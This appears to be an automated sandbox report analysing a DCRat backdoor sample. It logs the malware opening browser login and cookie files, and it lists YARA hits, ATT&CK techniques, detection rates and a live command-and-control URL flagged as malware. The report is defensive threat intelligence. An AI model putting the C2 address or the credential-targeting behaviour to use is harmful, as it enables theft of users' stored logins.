Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 1.0.decFF62.tmp.f90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.3129151130.000000000330B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1658474906.0000000000F92000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1658146051.0000000000D33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t8xf0Y1ovi.exe PID: 6848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: decFF62.tmp PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\decFF62.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Portable Devices\services.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\dllhost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scripting	12 Process Injection	243 Masquerading	1 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	11 Disable or Modify Tools	LSASS Memory	341 Security Software Discovery	Remote Desktop Protocol	2 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	261 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	261 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	146 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
t8xf0Y1ovi.exe	53%	ReversingLabs	Win64.Trojan.Generic
t8xf0Y1ovi.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Default\dllhost.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\AppData\Local\Temp\decFF62.tmp	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files\Windows Portable Devices\services.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\AlYgfivS.log	100%	Avira	HEUR/AGEN.1300079
C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\GtEXSWHd.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\JxaDAGRw.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\Default\dllhost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\decFF62.tmp	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\FHjMtJQD.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\JNcVLOYU.log	100%	Joe Sandbox ML
C:\Program Files\Windows Portable Devices\services.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\ISGNtcvE.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\AlYgfivS.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\GtEXSWHd.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Windows Portable Devices\services.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\dllhost.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Local\Temp\decFF62.tmp	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\Desktop\AlYgfivS.log	13%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\BUSNQNBP.log	8%	ReversingLabs
C:\Users\user\Desktop\FHjMtJQD.log	5%	ReversingLabs
C:\Users\user\Desktop\GtEXSWHd.log	21%	ReversingLabs
C:\Users\user\Desktop\ISGNtcvE.log	4%	ReversingLabs
C:\Users\user\Desktop\JNcVLOYU.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\JxaDAGRw.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\LYmDRkwM.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\PNpMSdEO.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\PynuHVwq.log	24%	ReversingLabs
C:\Users\user\Desktop\RAZddEBm.log	21%	ReversingLabs
C:\Users\user\Desktop\RIrcJdiD.log	3%	ReversingLabs
C:\Users\user\Desktop\TgtTkjWe.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\UBGLvaTC.log	8%	ReversingLabs
C:\Users\user\Desktop\UPplfwcz.log	21%	ReversingLabs
C:\Users\user\Desktop\WorcGBQa.log	21%	ReversingLabs
C:\Users\user\Desktop\YxwKIJCn.log	8%	ReversingLabs
C:\Users\user\Desktop\aWyAiOqN.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\cFtTdbwi.log	17%	ReversingLabs
C:\Users\user\Desktop\cmzTJCKp.log	24%	ReversingLabs
C:\Users\user\Desktop\dkabfCZj.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\eqZjkpHb.log	13%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\hCfixIqA.log	3%	ReversingLabs
C:\Users\user\Desktop\jNBixaWB.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\mHEzoazq.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\mPnRSJaw.log	8%	ReversingLabs
C:\Users\user\Desktop\ruVxRXPe.log	21%	ReversingLabs
C:\Users\user\Desktop\tUuQbxCC.log	6%	ReversingLabs
C:\Users\user\Desktop\uAOGicXv.log	5%	ReversingLabs
C:\Users\user\Desktop\utwGCCqd.log	6%	ReversingLabs
C:\Users\user\Desktop\vWgyxgGx.log	21%	ReversingLabs
C:\Users\user\Desktop\wKkHjuCv.log	4%	ReversingLabs
C:\Users\user\Desktop\xHLPEuRq.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\xnyXtCUT.log	17%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.t.com/pk	0%	Avira URL Cloud	safe
http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.phpP	100%	Avira URL Cloud	malware
http://b902470r.beget.tech	100%	Avira URL Cloud	malware
http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php	100%	Avira URL Cloud	malware
http://b902470r.beget.tech/DarkCrystal/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
b902470r.beget.tech	185.50.25.59	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	yBxTcB73xF.42.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000014.00000002.2931907406.000001D06BAF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2731586431.0000025790072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.t.com/pk	powershell.exe, 00000016.00000002.2989545520.000001FCE8D4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000014.00000002.2021120169.000001D05BCA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.00000251907A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.phpP	RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	false		high
http://crl.ver)	svchost.exe, 0000002E.00000002.3123924370.00000206CB400000.00000004.00000020.00020000.00000000.sdmp	false		high
